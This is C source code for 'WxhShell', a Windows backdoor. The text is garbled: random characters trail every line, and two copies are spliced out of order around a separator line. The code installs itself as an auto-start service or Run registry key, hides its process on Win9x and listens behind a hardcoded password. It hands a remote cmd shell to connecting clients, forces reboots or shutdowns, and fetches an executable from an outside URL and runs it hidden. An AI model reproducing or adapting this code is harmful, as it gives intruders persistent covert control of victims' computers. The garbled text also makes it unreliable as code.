    if(Boot(SHUTDOWN)) ]sqp^tQ`e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LAGg(:3f3  
    else { b~?3HY:t~K  
    closesocket(wsh); C9j5Pd5q1L  
    ExitThread(0); :eBp`dmn  
    } \wp8kSzC  
    break; }7i}dyQv}  
    } k~]\kv=  
  // 获取shell w69G6G(  
  case 's': { sh%%U  
    CmdShell(wsh); "R[6Q ^vw  
    closesocket(wsh); -];Hb'M.!e  
    ExitThread(0); h: zi8;(  
    break; E6xWo)`%5s  
  } hOe$h,E']  
  // 退出 qX]ej 2  
  case 'x': { _<jccQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Mvk#$:8e  
    CloseIt(wsh); %p};Di[V  
    break; T_qh_L3  
    } u73/#!(1=H  
  // 离开 V6b)  
  case 'q': { Yt;@ @xe&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Jh%k:TrBm  
    closesocket(wsh); {#l@9r%  
    WSACleanup(); {'G u@l  
    exit(1); J|b:Zo9<f"  
    break; >H?~2O  
        } =@k 3*#\  
  } 6K5KkEp  
  } _LLE~nUK"/  
yF1^/y!@  
  // 提示信息 WhL 1OG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a;0$fRy  
} 9R|B 5.  
  } .DcuJC=  
hF-X8$[  
  return; v?h8-yed  
} (<#Ns W!z  
I`}x9t  
// shell模块句柄 N-GQ\&   
int CmdShell(SOCKET sock) RH<C:!F^  
{ nb|"dK|  
STARTUPINFO si; 7h.:XlUm|  
ZeroMemory(&si,sizeof(si)); Zx,a j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?Tk4Vt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )h(yh50 B  
PROCESS_INFORMATION ProcessInfo; G$ Ii  
char cmdline[]="cmd";  \4&FW|mx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gp))1b';  
  return 0; ?[q.1O  
} XJf1LGT5  
}UHoa  
// 自身启动模式 B9h>  
int StartFromService(void)   S?m4  
{ 0}aw9g  
typedef struct +luW=j0V  
{ "O{:jfq  
  DWORD ExitStatus; ^ P=CoLFa  
  DWORD PebBaseAddress; HUY1nb=  
  DWORD AffinityMask; z/7"!  
  DWORD BasePriority; L QP4#7  
  ULONG UniqueProcessId; V~qlg1h  
  ULONG InheritedFromUniqueProcessId; &MF%zJ6  
}   PROCESS_BASIC_INFORMATION; qbdv  
UkBr4{+aE  
PROCNTQSIP NtQueryInformationProcess; qxglA*/ [  
H>5@/0cL2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K\>CXa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ic|>JX$G  
} g[(h=Qi  
  HANDLE             hProcess; #oD * H:%*  
  PROCESS_BASIC_INFORMATION pbi; ^k}jPc6  
#&c}i n"!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }!g^}BWWp  
  if(NULL == hInst ) return 0; <ba+7CK] w  
REwZ41   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )*3sE1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VR_bX|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jR&AQ-H&  
gL;tyf1P  
  if (!NtQueryInformationProcess) return 0; c6)q(zz  
sp$W=Wu7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GPnSdGLC  
  if(!hProcess) return 0; >P\/\xL=  
ZN?UkFnE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;}gS8I|  
dq ~=P>  
  CloseHandle(hProcess); u.sn"G-c  
ZX!u\O|w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); />9?/&N6"  
if(hProcess==NULL) return 0; (Dx]!FFz  
v><uHjP  
HMODULE hMod; U0W- X9>y  
char procName[255]; *QpKeI  
unsigned long cbNeeded; gRdg3qvU  
5zH?1Z~*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O~AOZ^a:2  
hkL[hD  
  CloseHandle(hProcess); B]YY[i  
$?u ^hMU=  
if(strstr(procName,"services")) return 1; // 以服务启动 i bwnK?ZA  
?(CMm%(8  
  return 0; // 注册表启动 3#H x^H  
} @rVBL<!o,  
)v67wn*1A  
// 主模块 i;$'haK<  
int StartWxhshell(LPSTR lpCmdLine) *u%4]q  
{ ]n:)W.|`R  
  SOCKET wsl; r:Xui-  
BOOL val=TRUE; L?n*b  
  int port=0; <ctn_"p Z  
  struct sockaddr_in door; $dLPvN  
>2l;KVm%  
  if(wscfg.ws_autoins) Install(); ]='E&=nc  
{<- BU[H  
port=atoi(lpCmdLine); O5Xu(q5+  
{^#62Y  
if(port<=0) port=wscfg.ws_port; w(9.{zF|vQ  
eOQUy +  
  WSADATA data; kEE8cW3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XK>/i}y  
YFCP'J"Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +)fl9>Mb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !:mo2zA  
  door.sin_family = AF_INET; 0VB~4NNR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rs R0V+(W  
  door.sin_port = htons(port); !s]LWCX+|  
QMfa~TH#p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j[h4F"`-  
closesocket(wsl); r^k:$wJbRK  
return 1; 5Qik{cWxBq  
} 6 /Apdn1[  
ccJ@jpXI  
  if(listen(wsl,2) == INVALID_SOCKET) { #U NTD4   
closesocket(wsl); TK;*:K8oe  
return 1; <"@~  
} Nd~?kZZu  
  Wxhshell(wsl); %Y` @>P'  
  WSACleanup(); )-2o}KU]>  
E VBB:*q6  
return 0; j#b?P=|l  
:hG?} [-2  
} 'Z+~G  
z2&SZ.mk  
// 以NT服务方式启动 +?~'K&@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u4=j!Zb8}  
{ e1X*}OI  
DWORD   status = 0; z1ltc{~Z  
  DWORD   specificError = 0xfffffff; }06  
Yo c N@s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #s1O(rLRl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vvLm9Tw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N(@'L43$V  
  serviceStatus.dwWin32ExitCode     = 0; Dm6}$v'0  
  serviceStatus.dwServiceSpecificExitCode = 0; .Mw'P\GtM  
  serviceStatus.dwCheckPoint       = 0; u|7d_3 ::  
  serviceStatus.dwWaitHint       = 0; i=-zaboo  
4XDR?KUM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9 I> 3p4]  
  if (hServiceStatusHandle==0) return; @#}9?>UV  
FG-w7a2mn  
status = GetLastError(); Nf>1`eP  
  if (status!=NO_ERROR) 02} &h  
{ +n]U3b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]S[zD|U%  
    serviceStatus.dwCheckPoint       = 0; m El*{]  
    serviceStatus.dwWaitHint       = 0; a2*WZc`  
    serviceStatus.dwWin32ExitCode     = status; {hX. R  
    serviceStatus.dwServiceSpecificExitCode = specificError; dx@#6Fhy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R v6{ '\:  
    return; W 0Q-&4  
  } X|H%jdta  
su(y*187A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |8h<Ls_  
  serviceStatus.dwCheckPoint       = 0; 5f7;pS<  
  serviceStatus.dwWaitHint       = 0; jpqq>Hbg_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I;L $Nf{v  
} O k_I}X  
EW$ Je  
// 处理NT服务事件,比如:启动、停止 =8j;!7 p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pc5-'; n  
{ SHPaSq'&N  
switch(fdwControl) Rs:<'A  
{ G.O0*E2V  
case SERVICE_CONTROL_STOP: #H(|+WEu  
  serviceStatus.dwWin32ExitCode = 0; )]!Ps` ,u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rB}UFS)  
  serviceStatus.dwCheckPoint   = 0; Gu<3*@Ng  
  serviceStatus.dwWaitHint     = 0; I~MBR2$9  
  { yE-&TW_q:>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hZ.Sj~> 7`  
  } _Q/D%7[pa  
  return; 'bkecC  
case SERVICE_CONTROL_PAUSE: {SW104nb&#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |,5b[Y"Dt  
  break; 4-=>># P  
case SERVICE_CONTROL_CONTINUE: \w^iSK-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t-lWvxXe  
  break; %$I\\q q>{  
case SERVICE_CONTROL_INTERROGATE: dx[<@f2c  
  break; Y*3qH]  
}; ;'dw`)~jQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X(1nAeQ  
} s'ntf  
9'Y~! vY  
// 标准应用程序主函数 FqQm *k_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SZ~Ti|^  
{ LDW":k|  
kYz)h  
// 获取操作系统版本 X\hD 4r"  
OsIsNt=GetOsVer(); R* E/E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H]Q Z4(  
9IMtqL&  
  // 从命令行安装 0kpRvdEr-  
  if(strpbrk(lpCmdLine,"iI")) Install(); {LY$  
:HRJ49a  
  // 下载执行文件 XY1NTo. =  
if(wscfg.ws_downexe) { ${KDGJ,^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z}s0D]$+x  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?.IT!M}DR  
} y)|Q~8r  
!k||-Q &  
if(!OsIsNt) { V{$(#r  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?y'KX]/  
HideProc(); -Duy: C6W  
StartWxhshell(lpCmdLine); +%6{>C+bZo  
} S3:Pjz}t  
else 0(Z ER sP  
  if(StartFromService()) b'O>&V`  
  // 以服务方式启动 Gk8"fs  
  StartServiceCtrlDispatcher(DispatchTable); z*l3O~mZ  
else FsY}mql  
  // 普通方式启动 6/T hbD-C  
  StartWxhshell(lpCmdLine); R(=Lhz6R4  
b3MgJT"mN  
return 0; 6~0S%Hz   
} Y1H8+a5@  
5l2Ph4(  
,!|/|4vh  
gT'c`3Gkz  
=========================================== f3|ttUX  
RhnSQe  
-$?xR](f  
wS <d8gw  
Eg5|XV  
 ]P(:z  
" 3) zanoYHi  
^u:7U4  
#include <stdio.h> A0cC)bd&  
#include <string.h> ._~_OVU  
#include <windows.h> (X,Ua+{  
#include <winsock2.h> za1MSR  
#include <winsvc.h> vO%n~l=  
#include <urlmon.h> p8oOm>B96n  
x$J1%K*  
#pragma comment (lib, "Ws2_32.lib") 2+TCFpv  
#pragma comment (lib, "urlmon.lib") @~U: |h  
92WvD  
#define MAX_USER   100 // 最大客户端连接数 :qc@S&v@]  
#define BUF_SOCK   200 // sock buffer XN5EZ#  
#define KEY_BUFF   255 // 输入 buffer 8*H-</ =  
vmvk  
#define REBOOT     0   // 重启 m7zen530  
#define SHUTDOWN   1   // 关机 rF2`4j&!  
x %L2eXL  
#define DEF_PORT   5000 // 监听端口 k8F<j)"  
I0(BKMp&  
#define REG_LEN     16   // 注册表键长度 KIC5U50J  
#define SVC_LEN     80   // NT服务名长度 {x W? v;  
Q$Ga.fI  
// 从dll定义API JWr:/?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bA@!0,m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KF|+# qCN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n&D<l '4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z%y>q|:  
2^bq4c4J  
// wxhshell配置信息 |[CsLn;  
struct WSCFG { \acJ9N  
  int ws_port;         // 监听端口 U,LW(wueT  
  char ws_passstr[REG_LEN]; // 口令 j5|_SQOmt  
  int ws_autoins;       // 安装标记, 1=yes 0=no LUl6^JU  
  char ws_regname[REG_LEN]; // 注册表键名 :@rE&  
  char ws_svcname[REG_LEN]; // 服务名 XpdDIKMmE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #25Z,UU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6B)(kPW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =\B{)z7@6D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9 #TzW9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sNc(aGvy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6b~Zv$5^Y-  
^I~2t|}  
}; |Up+Kc:z/n  
7"2L|fG  
// default Wxhshell configuration 8B JxD<  
struct WSCFG wscfg={DEF_PORT, J_C<Erx[O  
    "xuhuanlingzhe", (8TB*BhQ_  
    1, 53J!iNnXT6  
    "Wxhshell", KoRJ'WW^  
    "Wxhshell", o%i^t4J$e  
            "WxhShell Service", PBbJfm  
    "Wrsky Windows CmdShell Service", yQ}$G ,x  
    "Please Input Your Password: ", l)[\TD  
  1, Bq.@CxK  
  "http://www.wrsky.com/wxhshell.exe", T1m"1Q  
  "Wxhshell.exe" QM2Y?."#  
    }; ;n%SjQ'%  
8i!AJF9IQ}  
// 消息定义模块 nBI?~hkP3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u=z$**M^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :6S!1roi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1 !bODd  
char *msg_ws_ext="\n\rExit."; Y (x_bJ  
char *msg_ws_end="\n\rQuit."; U&yXs'3a&  
char *msg_ws_boot="\n\rReboot..."; .+MJ' bW  
char *msg_ws_poff="\n\rShutdown..."; <+o-{{E[  
char *msg_ws_down="\n\rSave to "; jl;_lcO  
`uM:>  
char *msg_ws_err="\n\rErr!"; &PaqqU.  
char *msg_ws_ok="\n\rOK!"; dF:@BEo  
'iA#lKG  
char ExeFile[MAX_PATH]; GwQW I ]  
int nUser = 0; k__iJsk  
HANDLE handles[MAX_USER]; XAwo ~E  
int OsIsNt; Zk4Hs%n  
GR@!mf  
SERVICE_STATUS       serviceStatus; +~?ze,Di  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X ,n4_=f  
&lbxmUeU  
// 函数声明 T6h-E^Z  
int Install(void); ."&,_F  
int Uninstall(void); {e\Pd!D?|  
int DownloadFile(char *sURL, SOCKET wsh); lPx4=O  
int Boot(int flag); _*7h1[,{f  
void HideProc(void); rl4B(NZi}  
int GetOsVer(void); 7zXFQ|TP  
int Wxhshell(SOCKET wsl); v#0F1a?]D  
void TalkWithClient(void *cs); GmP)"@O](;  
int CmdShell(SOCKET sock); :i_818h!?[  
int StartFromService(void); 1 rKKph  
int StartWxhshell(LPSTR lpCmdLine); u\wdb^8ds  
T]Z|Wq`bot  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s:3 altv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dE19_KPm[j  
"[2CV!_  
// 数据结构和表定义 l*>t@:2J  
SERVICE_TABLE_ENTRY DispatchTable[] = $3<,"&;Ecs  
{ 6w(Mb~[n  
{wscfg.ws_svcname, NTServiceMain}, +KgoLa  
{NULL, NULL} ZUP\)[~  
}; Ko_Sx.  
'?=SnjMX  
// 自我安装 L9Sd4L_e  
int Install(void) W2/FGJD  
{ 0T7(c-  
  char svExeFile[MAX_PATH]; ! Ob  
  HKEY key; %a=K:" oU[  
  strcpy(svExeFile,ExeFile); >}Qj|05G  
^]l^q'?>:  
// 如果是win9x系统,修改注册表设为自启动 PPk\W7G  
if(!OsIsNt) { <~;;iM6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '{dduHo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %E#OUo[y/  
  RegCloseKey(key); .Uq?SmK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b~X^vXIv%%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e8g"QDc  
  RegCloseKey(key); Lh3>xZy"-z  
  return 0; `Fa49B|`D  
    } f2Zi.?``H  
  } 28FC@&'H  
} cKuU#&FaV  
else { ?T=] ?[  
!+T\}1f7d  
// 如果是NT以上系统,安装为系统服务 OLh`R]Sd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x{{QS$6v  
if (schSCManager!=0) !$Aijd s5  
{ ]T|9>o!  
  SC_HANDLE schService = CreateService Xou1X$$z  
  ( )OQhtxK  
  schSCManager, WeDeD\zy  
  wscfg.ws_svcname, Ay)q %:qx  
  wscfg.ws_svcdisp, f0p+l -iEv  
  SERVICE_ALL_ACCESS, ^2f'I iE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rs_0xh  
  SERVICE_AUTO_START, f ?8cO#GU  
  SERVICE_ERROR_NORMAL,  }/~%Ysl  
  svExeFile, 6BM[RL?T  
  NULL, 9ZvBsG)  
  NULL, 0^'A^  
  NULL, MV +R$  
  NULL, Dy6uWv,P  
  NULL ?CO\jW_ *n  
  ); M S 3?#b  
  if (schService!=0) +Go(y S  
  { :$k':0 n  
  CloseServiceHandle(schService); =B4,H=7Spf  
  CloseServiceHandle(schSCManager); HUqG)t*c1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Oop5bg  
  strcat(svExeFile,wscfg.ws_svcname); VD}8ei  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <!b~7sZkTc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }$M 2XF  
  RegCloseKey(key); '=MaO@ @  
  return 0; fxfzi{}uj  
    } 5`qt82Qm  
  } ,XT#V\qne  
  CloseServiceHandle(schSCManager); nk.Y#+1)  
} A4LGF  
} Z$ qFjWp  
3t<XbHF9  
return 1; U'^AJ2L8  
} +5J"G/f  
[h>|6%sW  
// 自我卸载 <$\vL   
int Uninstall(void) s ^NO(  
{ pR_cI]{=SA  
  HKEY key; FTM(y CN  
Jf\lnJTyU8  
if(!OsIsNt) { hZGoiWC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f[,9WkC  
  RegDeleteValue(key,wscfg.ws_regname); vZV+24YWb  
  RegCloseKey(key);  .G}E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D|8vS8p  
  RegDeleteValue(key,wscfg.ws_regname); m-f"EFmP  
  RegCloseKey(key); fR_ jYP 1  
  return 0; GwiG..Y]&  
  } HI/]s^aL  
} 1I({2@C  
} G| 7\[!R  
else { a<X8l^Ln  
blxAy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W{E2 2J}  
if (schSCManager!=0) ,#3}TDC  
{ kp3(/`xP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [NcS[*qp  
  if (schService!=0) gfE<XrG  
  { (;utiupW  
  if(DeleteService(schService)!=0) { /lAB  
  CloseServiceHandle(schService);  >)ZX  
  CloseServiceHandle(schSCManager); =`2nv0%2  
  return 0; CU =}]Y  
  } +EJwWDJ!%  
  CloseServiceHandle(schService); +|.}oL^}G  
  } !_GY\@}  
  CloseServiceHandle(schSCManager); 4)D#kP  
} mhnjY K9  
} Zu(eYH=Q  
j,Sg?&"%=  
return 1; [c4.E"  
} :V2"<]  
`-zdjc d  
// 从指定url下载文件 *]2LN$  
int DownloadFile(char *sURL, SOCKET wsh) $>E\3npV  
{ "bZV<;y6  
  HRESULT hr; \8\)5#?  
char seps[]= "/"; f.V;Hl,  
char *token; Oq"(oNG@  
char *file; j0J}d _  
char myURL[MAX_PATH]; ~82[pY  
char myFILE[MAX_PATH]; o?\)!_Z|  
Ore$yI}!m  
strcpy(myURL,sURL); UnNvlkjq9  
  token=strtok(myURL,seps); )#-27Y  
  while(token!=NULL) 4GJ1P2  
  { 'B}pIx6k~  
    file=token; tf64<j6  
  token=strtok(NULL,seps); 1lyJ;6i6L  
  } 9fD4xkRS  
fs4pAB#F  
GetCurrentDirectory(MAX_PATH,myFILE); Hh @q;0ni  
strcat(myFILE, "\\"); K%LDOVE8e  
strcat(myFILE, file); H e]1 <tx  
  send(wsh,myFILE,strlen(myFILE),0); E/cA6*E[.<  
send(wsh,"...",3,0); 70_T;K6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }GvoQ#N  
  if(hr==S_OK) G%)?jg@EA  
return 0; >Bp%~8f  
else xO'I*)  
return 1; ~45u a  
GZT}aMMSJ  
} }C>Q  
1"46O Cu{  
// 系统电源模块 9dA(f~  
int Boot(int flag) A9PXu\%y  
{ q0WW^jwQ  
  HANDLE hToken; )gdv!  
  TOKEN_PRIVILEGES tkp; =/=x"q+X  
gd<8RVA  
  if(OsIsNt) { oTZ?x}Z1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AIsM:sV]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2'g< H-[  
    tkp.PrivilegeCount = 1; =fMSmn1S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O{8"f\*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b3b 4'l   
if(flag==REBOOT) { )6)|PzMQ'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j)\&#g0u6  
  return 0; 7'FDI`e[  
} X:-X3mV9{  
else { :NU-C!eT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s# w+^Mw$  
  return 0; Qo  
} rh2pVDS  
  } IWu^a w  
  else { i]GBu  
if(flag==REBOOT) { !s,<h U#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c 5P52_@  
  return 0; c?) pn9  
} 6A M,1  
else { l^xkXj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qGkrG38K  
  return 0; Qv8#{y@U  
} A(_AOoA'  
} uuj"Er31  
^ vI|  
return 1; d;S:<]l'  
} r0G#BPgdR  
cNC\w%  
// win9x进程隐藏模块 mDE{s",q/  
void HideProc(void) <0P`ct0,i  
{ A`(p6 H"s  
~m!>e])P?X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qq-&z6;$  
  if ( hKernel != NULL ) ==x3|^0y  
  { q^sMJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `Q26Dk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N(Y9FD;H  
    FreeLibrary(hKernel); {%D "0*^  
  } &_4A6  
UTA0B&aB  
return; +lJuF/sS8m  
} 37p0*%a":  
#BS]wj2#  
// 获取操作系统版本 z+" :,#  
int GetOsVer(void) }#!o^B8  
{ v ;MI*!E  
  OSVERSIONINFO winfo; _zh}%#6L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UShn)3F  
  GetVersionEx(&winfo); U]vNcQj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (/YC\x?  
  return 1; mk\U wv  
  else 1@)]+* F*z  
  return 0; gbpm::  
} k6JB%m\E  
8e\a_R*(|  
// 客户端句柄模块 k`g+    
int Wxhshell(SOCKET wsl) w2]1ftY  
{ `RGZ-Q{_  
  SOCKET wsh; u;J=g  
  struct sockaddr_in client; @<vDR">  
  DWORD myID; ,_NO[+5U  
pE `Q4:<A  
  while(nUser<MAX_USER) 6$PfX.Fh  
{ OD\x1,E)I  
  int nSize=sizeof(client); CyG@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w**.8]A"N  
  if(wsh==INVALID_SOCKET) return 1; o*p7/KvoT  
FGwz5@|E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DP^{T/G  
if(handles[nUser]==0) %J.Rm0FD:  
  closesocket(wsh); 5mSXf"R^  
else wT*N{).  
  nUser++; tHoFnPd\|  
  } pvmm" f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yWzvE:!)  
)Xd=EWGUS  
  return 0; GsDSJz  
} QQ2xNNF[  
^|\ *i  
// 关闭 socket Dj!J 4uD  
void CloseIt(SOCKET wsh) YY7:WQS  
{ !&Q,]\j  
closesocket(wsh); 2gt08\  
nUser--; U^pe/11)H  
ExitThread(0); I$f:K]|.m!  
} Fi5,y;]R  
Ce5 }+A}  
// 客户端请求句柄 gFDP:I/`  
void TalkWithClient(void *cs) u85y;AE,(  
{ *3"C"4S  
9HTb  
  SOCKET wsh=(SOCKET)cs; 00;=6q]TA  
  char pwd[SVC_LEN]; uU5:,Wy+dg  
  char cmd[KEY_BUFF]; {g/\5Z\b  
char chr[1]; `dL9sfj>  
int i,j; E/U1g4S  
{qLnwy!i  
  while (nUser < MAX_USER) { Mqc[IAcd]  
9!9 Gpi  
if(wscfg.ws_passstr) { Ch;EnN<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gEi" m5po  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q,:\i+>K*  
  //ZeroMemory(pwd,KEY_BUFF); 9,y&?GLP  
      i=0; ?R,^prW{  
  while(i<SVC_LEN) { fd+kr#  
{ReAl_Cm  
  // 设置超时 :hMuxHr  
  fd_set FdRead; ^S<Z'S  
  struct timeval TimeOut; 8kMMQES  
  FD_ZERO(&FdRead); kJDMIh|g  
  FD_SET(wsh,&FdRead); tAc;O[L  
  TimeOut.tv_sec=8; (5yg\3Jvp  
  TimeOut.tv_usec=0; "sg$[)I3n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i}wu+<Mk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hJd#Gc~*M  
:nwcO3~`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GuDus2#+  
  pwd=chr[0]; +,|-4U@dl  
  if(chr[0]==0xd || chr[0]==0xa) { Rb9Z{Clq>  
  pwd=0; aaaC8;.  
  break; tkuN$Jl  
  } u8?ceM^r  
  i++; R8],}6,;E}  
    } zb;' }l;+  
l>qCT  
  // 如果是非法用户,关闭 socket t#P)KcWOt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hlUF9}  
} Nju7!yVM_  
W1: o2 C7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,Y`C7Px  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?<nz2 piP,  
|_w*:NCV5  
while(1) { wV-cpJ,}  
Z&.FJZUP  
  ZeroMemory(cmd,KEY_BUFF); *E$D,  
zZf#E@=$|  
      // 自动支持客户端 telnet标准   !o.g2  
  j=0; Tl=vgs1  
  while(j<KEY_BUFF) { 2}}~\C}o+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $iP#8La:Y  
  cmd[j]=chr[0]; ZnJnjW PQ  
  if(chr[0]==0xa || chr[0]==0xd) { 7PisX!c,h  
  cmd[j]=0; C&5T;=<jKO  
  break; y!v$5wi  
  } @{ nT4{  
  j++; Vm6^'1CY  
    } u*9C(je  
P{}Oe *9"  
  // 下载文件 CLYcg$V  
  if(strstr(cmd,"http://")) { nEGku]pCH{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -Z;:_"&9  
  if(DownloadFile(cmd,wsh)) Jhj]rsGk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H/L3w|2+  
  else ?v")Z 0 ~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 94a _ W9  
  } .4^Paxz  
